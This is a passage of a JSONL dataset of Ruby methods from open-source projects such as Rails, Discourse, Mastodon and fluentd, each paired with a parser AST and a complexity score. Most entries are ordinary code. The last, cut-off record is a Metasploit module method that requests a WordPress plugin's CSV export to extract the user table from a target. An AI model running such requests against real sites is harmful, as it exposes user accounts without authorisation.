\"children\":[{\"type\":\"self\",\"children\":[]},\"context=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"context\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"username=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"password=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user_session=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_session\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"config=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nuuo\"]},\"ClientRequest\"]},\"DefaultConfig\"]}]}]}]}","id":"d951bd95-9e96-4adf-9265-b69e00f27030"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/common/fork_manager.rb","start_line":100,"raw_source":"def cleanup_run_once_hooks(hooks)\n        hooks.delete_if { |hook| hook[:run_once] }\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup_run_once_hooks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hooks\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hooks\"]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hook\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"run_once\"]}]}]}]}","id":"ca9000b4-15c8-426c-a702-8687fc65eea1"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/user_menu.rb","start_line":86,"raw_source":"def has_bookmark_count_of?(count)\n        page.has_css?(\".user-menu #quick-access-bookmarks li.bookmark\", count: count)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_bookmark_count_of?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_css?\",{\"type\":\"str\",\"children\":[\".user-menu #quick-access-bookmarks li.bookmark\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]}]}","id":"40b8e02e-6f07-4718-8f04-4663cd43ca38"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20210203031628_add_duration_minutes_to_topic_timer.rb","start_line":4,"raw_source":"def up\n    add_column :topic_timers, :duration_minutes, :integer\n\n    # 7 is delete_replies type, this duration is measured in days, the other\n    # duration is measured in hours\n    DB.exec(\n      \"UPDATE topic_timers SET duration_minutes = (duration * 60 * 24) WHERE duration_minutes != duration AND status_type = 7 AND duration IS NOT NULL\",\n    )\n    DB.exec(\n      \"UPDATE topic_timers SET duration_minutes = (duration * 60) WHERE duration_minutes != duration AND status_type != 7 AND duration IS NOT NULL\",\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"topic_timers\"]},{\"type\":\"sym\",\"children\":[\"duration_minutes\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"str\",\"children\":[\"UPDATE topic_timers SET duration_minutes = (duration * 60 * 24) WHERE duration_minutes != duration AND status_type = 7 AND duration IS NOT NULL\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"str\",\"children\":[\"UPDATE topic_timers SET duration_minutes = (duration * 60) WHERE duration_minutes != duration AND status_type != 7 AND duration IS NOT NULL\"]}]}]}]}","id":"63bad1a0-d56f-4238-924b-5795640102ac"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_parser_apache_error.rb","start_line":35,"raw_source":"def test_parse_without_client\n    d = create_driver\n    d.instance.parse('[Wed Oct 11 14:32:52 2000] [notice] Apache/2.2.15 (Unix) DAV/2 configured -- resuming normal operations') { |time, record|\n      assert_equal(event_time('Wed Oct 11 14:32:52 2000'), time)\n      assert_equal({\n                     'level' => 'notice',\n                     'message' => 'Apache/2.2.15 (Unix) DAV/2 configured -- resuming normal operations'\n                   }, record)\n    }\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_without_client\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"parse\",{\"type\":\"str\",\"children\":[\"[Wed Oct 11 14:32:52 2000] [notice] Apache/2.2.15 (Unix) DAV/2 configured -- resuming normal operations\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"event_time\",{\"type\":\"str\",\"children\":[\"Wed Oct 11 14:32:52 2000\"]}]},{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"level\"]},{\"type\":\"str\",\"children\":[\"notice\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Apache/2.2.15 (Unix) DAV/2 configured -- resuming normal operations\"]}]}]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]}]}]}","id":"a70411eb-1173-41b1-a084-13a12c01eff9"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/inventory/persister/builder/shared.rb","start_line":228,"raw_source":"def add_common_default_values\n      add_default_values(:ext_management_system => manager)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_common_default_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_default_values\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ext_management_system\"]},{\"type\":\"send\",\"children\":[null,\"manager\"]}]}]}]}]}","id":"97d8d6bc-b711-43af-b640-ec8722e9f0a2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/mailers/previews/user_mailer_preview.rb","start_line":108,"raw_source":"def announcement_published\n    UserMailer.announcement_published(User.first, Announcement.last)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"announcement_published\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserMailer\"]},\"announcement_published\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Announcement\"]},\"last\"]}]}]}","id":"0d2ec551-2174-462f-babb-1e1c7df89077"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/socket.rb","start_line":259,"raw_source":"def remote_addr; peeraddr[3]; end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"remote_addr\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peeraddr\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]}","id":"3287f056-3e00-4c0b-9731-a7ac09dfa14a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/support/acceptance/child_process.rb","start_line":312,"raw_source":"def initialize(options)\n      @name = options.fetch(:name)\n      @execute_cmd = options.fetch(:execute_cmd)\n      @generate_options = options.fetch(:generate_options)\n      @datastore = options.fetch(:datastore)\n      @executable = options.fetch(:executable, false)\n\n      basename = \"#{File.basename(__FILE__)}_#{name}\".gsub(/[^a-zA-Z]/, '-')\n      extension = options.fetch(:extension, '')\n\n      @file_path = TempChildProcessFile.new(basename, extension)\n    end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@execute_cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"execute_cmd\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@generate_options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"generate_options\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@datastore\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"datastore\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@executable\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"executable\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"str\",\"children\":[\"(method)\"]}]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^a-zA-Z]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"-\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"extension\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"extension\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@file_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TempChildProcessFile\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"basename\"]},{\"type\":\"lvar\",\"children\":[\"extension\"]}]}]}]}]}","id":"7a1bb284-b082-4d06-a43f-a66516ef7f85"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/activity/delete.rb","start_line":20,"raw_source":"def delete_object\n    return if object_uri.nil?\n\n    with_redis_lock(\"delete_status_in_progress:#{object_uri}\", raise_on_failure: false) do\n      unless non_matching_uri_hosts?(@account.uri, object_uri)\n        # This lock ensures a concurrent `ActivityPub::Activity::Create` either\n        # does not create a status at all, or has finished saving it to the\n        # database before we try to load it.\n        # Without the lock, `delete_later!` could be called after `delete_arrived_first?`\n        # and `Status.find` before `Status.create!`\n        with_redis_lock(\"create:#{object_uri}\") { delete_later!(object_uri) }\n\n        Tombstone.find_or_create_by(uri: object_uri, account: @account)\n      end\n\n      case @object['type']\n      when 'QuoteAuthorization'\n        revoke_quote\n      when 'Note', 'Question'\n        delete_status\n      else\n        delete_status || revoke_quote\n      end\n    end\n  end","complexity_score":34.1,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_uri\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_redis_lock\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"delete_status_in_progress:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_uri\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise_on_failure\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"non_matching_uri_hosts?\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"uri\"]},{\"type\":\"send\",\"children\":[null,\"object_uri\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_redis_lock\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"create:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_uri\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"delete_later!\",{\"type\":\"send\",\"children\":[null,\"object_uri\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tombstone\"]},\"find_or_create_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"object_uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]}]}]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"QuoteAuthorization\"]},{\"type\":\"send\",\"children\":[null,\"revoke_quote\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Note\"]},{\"type\":\"str\",\"children\":[\"Question\"]},{\"type\":\"send\",\"children\":[null,\"delete_status\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delete_status\"]},{\"type\":\"send\",\"children\":[null,\"revoke_quote\"]}]}]}]}]}]}]}","id":"6323dc5c-0592-440b-b5d2-692ae30e48dd"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb","start_line":597,"raw_source":"def test_with_select\n    assert_equal 1, Post.find(2).author_with_select.attributes.size\n    assert_equal 1, Post.includes(:author_with_select).find(2).author_with_select.attributes.size\n  end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_with_select\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"find\",{\"type\":\"int\",\"children\":[2]}]},\"author_with_select\"]},\"attributes\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"author_with_select\"]}]},\"find\",{\"type\":\"int\",\"children\":[2]}]},\"author_with_select\"]},\"attributes\"]},\"size\"]}]}]}]}","id":"69f39efc-9637-4463-8128-94dc6f86e7b1"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/events.rb","start_line":126,"raw_source":"def call(env)\n      request = make_request env\n      on_start request, nil\n\n      begin\n        status, headers, body = @app.call request.env\n        response = make_response status, headers, body\n        on_commit request, response\n      rescue StandardError => e\n        on_error request, response, e\n        on_finish request, response\n        raise\n      end\n\n      body = EventedBodyProxy.new(body, request, response, @handlers) do\n        on_finish request, response\n      end\n      [response.status, response.headers, body]\n    end","complexity_score":25.5,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[null,\"make_request\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"send\",\"children\":[null,\"on_start\",{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\"]},{\"type\":\"lvasgn\",\"children\":[\"headers\"]},{\"type\":\"lvasgn\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"env\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"make_response\",{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"on_commit\",{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_error\",{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[null,\"on_finish\",{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EventedBodyProxy\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"ivar\",\"children\":[\"@handlers\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"on_finish\",{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}","id":"75528317-d49b-41d3-b919-8f6b7fd4d098"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migrator_test.rb","start_line":344,"raw_source":"def test_migrator_double_down\n    calls, migrations = sensors(3)\n    migrator = ActiveRecord::Migrator.new(:up, migrations, @schema_migration, @internal_metadata, 1)\n\n    assert_equal 0, migrator.current_version\n\n    migrator.run\n    assert_equal [[:up, 1]], calls\n    calls.clear\n\n    migrator = ActiveRecord::Migrator.new(:down, migrations, @schema_migration, @internal_metadata, 1)\n    migrator.run\n    assert_equal [[:down, 1]], calls\n    calls.clear\n\n    migrator.run\n    assert_equal [], calls\n\n    assert_equal 0, migrator.current_version\n  end","complexity_score":21.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_migrator_double_down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"calls\"]},{\"type\":\"lvasgn\",\"children\":[\"migrations\"]}]},{\"type\":\"send\",\"children\":[null,\"sensors\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"lvasgn\",\"children\":[\"migrator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"new\",{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"lvar\",\"children\":[\"migrations\"]},{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},{\"type\":\"ivar\",\"children\":[\"@internal_metadata\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"current_version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"run\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvar\",\"children\":[\"calls\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"calls\"]},\"clear\"]},{\"type\":\"lvasgn\",\"children\":[\"migrator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"new\",{\"type\":\"sym\",\"children\":[\"down\"]},{\"type\":\"lvar\",\"children\":[\"migrations\"]},{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},{\"type\":\"ivar\",\"children\":[\"@internal_metadata\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"run\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"down\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvar\",\"children\":[\"calls\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"calls\"]},\"clear\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"run\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"calls\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"current_version\"]}]}]}]}","id":"ca5b1c60-cf94-4af5-8c72-ecea93386f33"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/host.rb","start_line":471,"raw_source":"def is_scannable_now_error_message\n    scannable_status[:message]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"is_scannable_now_error_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scannable_status\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]}]}","id":"aa701b49-39ef-4e30-85f8-2046c6b57252"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/metric.rb","start_line":43,"raw_source":"def identifier\n      events&.dig(0, 'unique')&.chomp('.id')\n    end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"identifier\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"events\"]},\"dig\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"unique\"]}]},\"chomp\",{\"type\":\"str\",\"children\":[\".id\"]}]}]}","id":"d06eeaa9-5b31-481d-9c48-746433095f27"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb","start_line":484,"raw_source":"def test_columns_for_distinct_few_orders\n        assert_equal \"posts.created_at AS alias_0, posts.position AS alias_1, posts.id\",\n          @connection.columns_for_distinct(\"posts.id\", [\"posts.created_at desc\", \"posts.position asc\"])\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_columns_for_distinct_few_orders\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"posts.created_at AS alias_0, posts.position AS alias_1, posts.id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"columns_for_distinct\",{\"type\":\"str\",\"children\":[\"posts.id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"posts.created_at desc\"]},{\"type\":\"str\",\"children\":[\"posts.position asc\"]}]}]}]}]}","id":"6d231d96-8839-4f5e-9e93-52b2c377403b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/message.rb","start_line":116,"raw_source":"def sticky?\n    sticky == 1\n  end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"sticky?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sticky\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"0a37deee-72fc-40be-b993-3434d645d84d"}
{"repo_name":"tty","file_path":"./repos/tty/lib/tty/commands/new.rb","start_line":51,"raw_source":"def git_author\n        git_exist? ? `git config user.name`.chomp : \"\"\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"git_author\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"git_exist?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"git config user.name\"]}]},\"chomp\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"ca11f7cd-4454-40c6-87f9-ac74e8202dff"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb","start_line":94,"raw_source":"def run\n    print_status(\"Requesting CSV extract...\")\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => exporter_url,\n      'vars_post' => { 'export' => 'users' }\n    )\n    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?\n    fail_with(Failure::UnexpectedReply, \"Server responded with status code #{res.code}\") if res.code != 200\n\n    print_status(\"Parsing response...\")\n    unless parse_csv(res.body, ',')\n      unless parse_csv(res.body, ';')\n        fail_with(Failure::UnexpectedReply, \"#{peer} - Failed to parse response, the CSV was invalid\")\n      end\n    end\n\n    store_path = store_loot('wordpress.users.export', 'csv', datastore['RHOST'], res.body, 'users_export.csv', 'WordPress User Table Extract')\n    print_good(\"CSV saved to #{store_path}\")\n  end","complexity_score":30.3,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Requesting CSV 